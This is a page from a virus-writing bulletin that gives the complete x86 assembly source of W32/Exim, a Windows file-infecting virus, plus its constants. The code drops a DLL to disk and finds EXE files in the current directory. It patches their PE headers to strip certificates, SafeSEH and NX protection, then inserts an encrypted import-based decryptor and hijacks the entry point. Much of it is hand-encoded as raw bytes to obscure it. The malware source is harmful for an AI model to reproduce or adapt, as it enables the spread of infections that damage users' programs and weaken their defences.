;)

### Virus-writing Bulletin

##### Presents!

#### W32/Exim

-
. ● glósóli ● .

    .486
    .model  flat, stdcall
    .code
    assume fs:nothing

    exim_exe        proc
            dec     dword ptr [esp + 8]          ;do not execute if DLL_PROCESS_DETACH
            js      DETACH
            pushad
            db      33h
            db      0dbh
            call    create_dll
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            popad

    DETACH:
            ret     0ch

    echo 28/12/10 - exim by hh86                 ;happiness hit her like a bullet in the head
                                                 ;struck from a great height by someone who should know better than that...
    exim_exe        endp

    ;-------------------------------------------------------------------------------
    ;image for a PE32 DLL file
    ;-------------------------------------------------------------------------------

    dos_hdr         label    near
            db      "MZ"                          ;e_magic
            dw      "CV"                          ;e_cblp
            db      "!", 0                        ;e_cp
            dw      0                             ;e_crlc
            dw      0                             ;e_cparhdr
            dw      0                             ;e_minalloc
            db      "PE", 0, 0                    ;signature
            dw      IMAGE_FILE_MACHINE_I386       ;machine
            dw      1                             ;numberofsections
            dd      0                             ;timedatestamp
            dd      0                             ;pointertosymboltable
            dd      0                             ;numberofsymbols
            dw      68h                           ;sizeofoptionalheader
            dw      IMAGE_FILE_RELOCS_STRIPPED or IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
            dw      IMAGE_NT_OPTIONAL_HDR32_MAGIC ;magic
            db      0                             ;majorlinkerversion
            db      0                             ;minorlinkerversion
            dd      0                             ;sizeofcode
            dd      0                             ;sizeofinitializeddata
            dd      0                             ;sizeofuninitializeddata
            dd      0                             ;addressofentrypoint
            dd      0                             ;baseofcode
            dd      0ch                           ;baseofdata and e_lfanew
            dd      0                             ;imagebase
            dd      1                             ;sectionalignment
            dd      1                             ;filealignment
            dw      0                             ;majoroperatingsystemversion
            dw      0                             ;minoroperatingsystemversion
            dw      0                             ;majorimageversion
            dw      0                             ;minorimageversion
            dw      4                             ;majorsubsystemversion
            dw      0                             ;minorsubsystemversion
            dd      0                             ;win32versionvalue
            dd      offset _end - offset dos_hdr  ;sizeofimage
            dd      offset _sect - offset dos_hdr ;sizeofheaders
            dd      0                             ;checksum
            dw      IMAGE_SUBSYSTEM_WINDOWS_CUI   ;subsystem
            dw      IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE or IMAGE_DLL_CHARACTERISTICS_NX_COMPAT or IMAGE_DLLCHARACTERISTICS_NO_SEH
            dd      0                             ;sizeofstackreserve
            dd      0                             ;sizeofstackcommit
            dd      0                             ;sizeofheapreserve
            dd      0                             ;sizeofheapcommit
            dd      0                             ;loaderflags
            dd      2                             ;numberofrvaandsizes
            dd      offset _sect - offset dos_hdr ;export
            dd      0                             ;export
            db      8 dup (0)                     ;name
            dd      offset _end - offset _sect    ;virtualsize
            dd      offset _sect - offset dos_hdr ;virtualaddress
            dd      offset _end - offset _sect    ;sizeofrawdata
            dd      offset _sect - offset dos_hdr ;pointertorawdata
            dd      0                             ;pointertorelocations
            dd      0                             ;pointertolinenumbers
            dw      0                             ;numberofrelocations
            dw      0                             ;numberoflinenumbers
            dd      IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ

    ;-------------------------------------------------------------------------------
    ;no code can be executed here
    ;-------------------------------------------------------------------------------

    _sect           label    near
            dd      0
            dd      0
            dd      0
            dd      0
            dd      1
            dd      400h
            dd      0
            dd      offset _addrtbl - offset dos_hdr
            dd      0
            dd      0

    _addrtbl:
            dd      1

    require         proc
            db      60h
            db      6ah
            db      30h                          ;process environment block
            db      5eh
            db      64h
            db      8bh
            db      6
            db      8bh                          ;retrieve imagebase
            db      40h
            db      8
            db      1                            ;convert to relative virtual address
            db      44h
            db      34h
            db      -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP)
            db      33h
            db      0d2h
            db      0e8h                         ;skip SE handler
            dd      0bh
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            db      61h
            ret
            db      64h
            db      0ffh
            db      32h
            db      64h
            db      89h
            db      22h
            db      64h
            db      0adh
            db      8bh
            db      40h
            db      0ch
            db      8bh
            db      70h
            db      14h
            db      0adh
            db      8bh
            db      0
            db      8bh
            db      68h
            db      10h
            call    skip_crc
            dd      03fc1bd8dh
            dd      0da68238fh

    ;-------------------------------------------------------------------------------
    ;DLL name
    ;-------------------------------------------------------------------------------

            db      30h, 0

    skip_crc:
            db      5eh

    ;-------------------------------------------------------------------------------
    ;walk lists
    ;-------------------------------------------------------------------------------

    crc32   macro
            db      32h
            db      7
            db      6ah
            db      8
            db      59h
            db      0d1h
            db      0e8h
            db      73h
            db      5
            db      35h
            dd      0edb88320h
            db      0e2h
            db      0f5h
            db      47h
            db      38h
            db      0fh
            db      75h
            db      0ebh
    endm

    import_next:
            db      8bh
            db      45h
            db      IMAGE_DOS_HEADER.e_lfanew
            db      8bh
            db      5ch
            db      28h
            db      IMAGE_DIRECTORY_ENTRY_EXPORT
            db      3
            db      0ddh

    export_next:
            db      8bh
            db      7bh
            db      IMAGE_EXPORT_DIRECTORY.AddressOfNames
            db      3
            db      0fdh
            db      8bh
            db      3ch
            db      97h
            db      0f9h
            db      1bh
            db      0c0h
            db      3
            db      0fdh
            crc32
            db      0f7h
            db      0d0h
            db      39h
            db      6
            je      l_res
            db      42h
            db      39h
            db      53h
            db      IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
            jne     export_next
            int     3

    ;-------------------------------------------------------------------------------
    ;resolve API address
    ;-------------------------------------------------------------------------------

    l_res:
            db      8bh
            db      7bh
            db      IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
            db      3
            db      0fdh
            db      0fh
            db      0b7h
            db      3ch
            db      57h
            db      8bh
            db      43h
            db      IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
            db      3
            db      0c5h
            db      8bh
            db      4
            db      0b8h
            db      3
            db      0c5h
            db      50h
            db      0adh
            db      33h
            db      0d2h
            db      80h
            db      3eh
            db      30h
            jne     import_next
            db      8bh
            db      0dch
            db      56h
            db      0ffh, 53h, 4                 ;call LoadLibraryA
            db      50h
            db      0ffh, 13h                    ;call FreeLibrary
            db      1 + 5 + 4 dup (0cch)         ;Grrrrrr!
            dq      0
    require         endp
    _end            label    near

    ;-------------------------------------------------------------------------------
    ;create DLL file
    ;-------------------------------------------------------------------------------

    create_dll      proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h                ;SEH protected
            push    ebx
            push    ebx
            push    CREATE_NEW
            push    ebx
            push    F0
            push    G0
            push    offset dllfile
            call    CreateFile
            inc     eax
            jz      find_fs
            dec     eax
            push    eax
            xchg    ebp, eax
            push    ebx
            push    esp
            push    DLLSIZE
            push    offset dos_hdr
            push    ebp
            call    WriteFile
            call    CloseHandle
            jmp     find_fs

            ;you know I am a child.  I keep this alive.

    create_dll      endp

    find_fs         proc
            enter   (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (sizeof IMAGE_DOS_HEADER.e_lfanew + 1), 0
            mov     edi, esp
            lea     esi, dword ptr [edi + LOADED_IMAGE]
            push    esi

    ;-------------------------------------------------------------------------------
    ;find exe files in current directory
    ;-------------------------------------------------------------------------------

            db      0e8h
            dd      6
            db      "*"
            db      "."
            db      "e"
            db      "x"
            db      "e"
            db      0
            call    FindFirstFile
            db      95h
            jmp     call_mf

    find_next:
            db      56h
            db      55h
            call    FindNextFile
            test    eax, eax
            jz      call_seh

    call_mf:
            pushad
            db      CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0

    delta_seh:
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            popad
            jmp     find_next
    find_fs         endp

    ;-------------------------------------------------------------------------------
    ;create map
    ;-------------------------------------------------------------------------------

    map_file        proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h                ;SEH protected
            db      8dh
            db      4eh
            db      WIN32_FIND_DATA.cFileName
            db      57h
            db      53h
            db      53h
            db      57h
            db      53h
            db      51h
            call    MapAndLoad
            db      48h
            js      call_seh                     ;no unmap happens if zero
            db      CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0

    delta_os:
            db      58h
            db      58h
            db      5ch
            db      33h, 0c0h
            db      64h
            db      8fh
            db      0
            db      58h
            call    UnMapAndLoad
    map_file        endp

    call_seh        label    near
            int     3

            ;so darkness I became

    infect_exe      proc
            db      64h
            db      0ffh
            db      33h
            db      64h, 89h, 23h

    ;-------------------------------------------------------------------------------
    ;32-bit machine
    ;GUI or CUI
    ;-------------------------------------------------------------------------------

            db      8bh
            db      6fh
            db      LOADED_IMAGE.MappedAddress
            db      8bh
            db      47h
            db      LOADED_IMAGE.FileHeader
            db      0f6h
            db      40h
            db      IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
            db      high IMAGE_FILE_32BIT_MACHINE
            jz      call_seh
            db      8ah
            db      48h
            db      IMAGE_NT_HEADERS.OptionalHeader.Subsystem
            db      49h
            db      49h
            db      80h
            db      0f9h
            db      IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
            jnbe    call_seh
            db      80h
            db      60h
            db      IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
            db      0f0h                         ;NO_SEH and NX_COMPATIBLE flags

    ;-------------------------------------------------------------------------------
    ;PE size must be equal to file size
    ;certificate table must be at end of last section
    ;-------------------------------------------------------------------------------

            db      8bh
            db      57h
            db      LOADED_IMAGE.Sections
            db      8bh                          ;DWORD not WORD ;)
            db      4fh
            db      LOADED_IMAGE.NumberOfSections
            db      6bh
            db      0c9h
            db      sizeof IMAGE_SECTION_HEADER
            db      8dh
            db      74h
            db      11h
            db      -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
            db      6ah
            db      10h
            db      5fh
            db      8dh
            db      4ch
            db      0f8h
            db      CERTIFICATE_TABLE_DATA_DIRECTORY - IMPORT_TABLE_DATA_DIRECTORY
            db      8bh
            db      56h
            db      sizeof IMAGE_SECTION_HEADER.PointerToRawData
            db      3
            db      16h
                                                 ;do not infect if imports
            cmp     dword ptr [eax + edi * 8], ebx
            jne     call_seh
            db      0b7h
            db      10h
            db      39h
            db      19h
            jb      call_seh
            db      39h
            db      11h
            jne     call_seh

    ;-------------------------------------------------------------------------------
    ;set to zero the certificate table data directory
    ;disable SafeSEH
    ;-------------------------------------------------------------------------------

            fldz
            fstp    qword ptr [ecx]
            fldz
            fstp    qword ptr [ecx + LOAD_CONFIG_TABLE_DATA_DIRECTORY]

    ;-------------------------------------------------------------------------------
    ;increase image and section size
    ;-------------------------------------------------------------------------------

            db      1
            db      5eh
            db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
            db      1
            db      58h
            db      IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
            db      8bh
            db      4eh
            db      -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
            db      3
            db      0eh
            db      1                            ;increase raw size
            db      1eh
            db      81h
            db      4eh
            db      IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData
                                                 ;Windows can write-enable section while binding imports
                                                 ;but we need to set this bit for decryption
            dd      IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
            db      60h
            db      8dh
            db      3ch
            db      2ah
            db      0beh
            dd      offset importtbl
            db      60h
            db      6ah, not(low (offset decryptor_end - offset importtbl))
            db      59h
            db      0f6h, 0d1h
            db      0f3h, 0a4h
            db      61h
            db      1
            db      0fh
            db      1
            db      04fh, IMAGE_IMPORT_DESCRIPTOR.Name1
            db      1
            db      04fh, IMAGE_IMPORT_DESCRIPTOR.FirstThunk
            db      81h
            db      0c1h
            dd      offset decryptor - offset importtbl
            db      87h
            db      48h
            db      IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
            db      89h
            db      8fh
            dd      (offset entrypoint - offset importtbl) + 1
            db      61h
            db      89h                          ;now add import table entry to data directory
            db      00ch
            db      0f8h
            int     3
    infect_exe      endp

    ;-------------------------------------------------------------------------------
    ;import directory
    ;-------------------------------------------------------------------------------

    N_ORDINALS =  2ch

    importtbl       label    near
                    dd      sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
                    dd      0
                    dd      0
                    dd      sizeof IMAGE_IMPORT_DESCRIPTOR + sizeof IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk
                    dd      sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
                    dd      0
    dllfile         db      "v", ".dll", 0, 0, 0
                    dd      0, 0

    decryptor       proc
            call    skip_iat

    x = 0
    REPEAT N_ORDINALS
    x = x + 1
                    dd      80000000h + x
    ENDM
                    dd      0

    skip_iat:
            pop     esi
            lodsd
            dec     eax
            xchg    edx, eax
            push    esi
            push    29h
            pop     ecx

    decrypt:
            sub     dword ptr [esi], edx
            lodsd
            loop    decrypt
            pop     esi

    entrypoint      label    near
            push    "vc!"
            jmp     esi
    decryptor       endp
    decryptor_end   label    near
    end     exim_exe

    For this virus I used the IMAGE_IMPORT_DESCRIPTOR that has no Characteristics field but OriginalFirstThunk.
    These are some of the constants and their respective values, and the STACK_REG structure:

    CERTIFICATE_TABLE_DATA_DIRECTORY =  98h
    LOAD_CONFIG_TABLE_DATA_DIRECTORY =  30h
    IMAGE_DIRECTORY_ENTRY_EXPORT     =  78h
    IMPORT_TABLE_DATA_DIRECTORY      =  80h
    DLLSIZE =  offset _end - offset dos_hdr
    CALL_OP =  0e8h
    F0 =  FILE_SHARE_READ or FILE_SHARE_WRITE
    G0 =  GENERIC_READ or GENERIC_WRITE

    STACK_REG struct
     LO32_EDI dd  ?
     LO32_ESI dd  ?
     LO32_EBP dd  ?
     LO32_ESP dd  ?
     LO32_EBX dd  ?
     LO32_EDX dd  ?
     LO32_ECX dd  ?
     LO32_EAX dd  ?
    STACK_REG ends

Virus-writing Bulletin 2011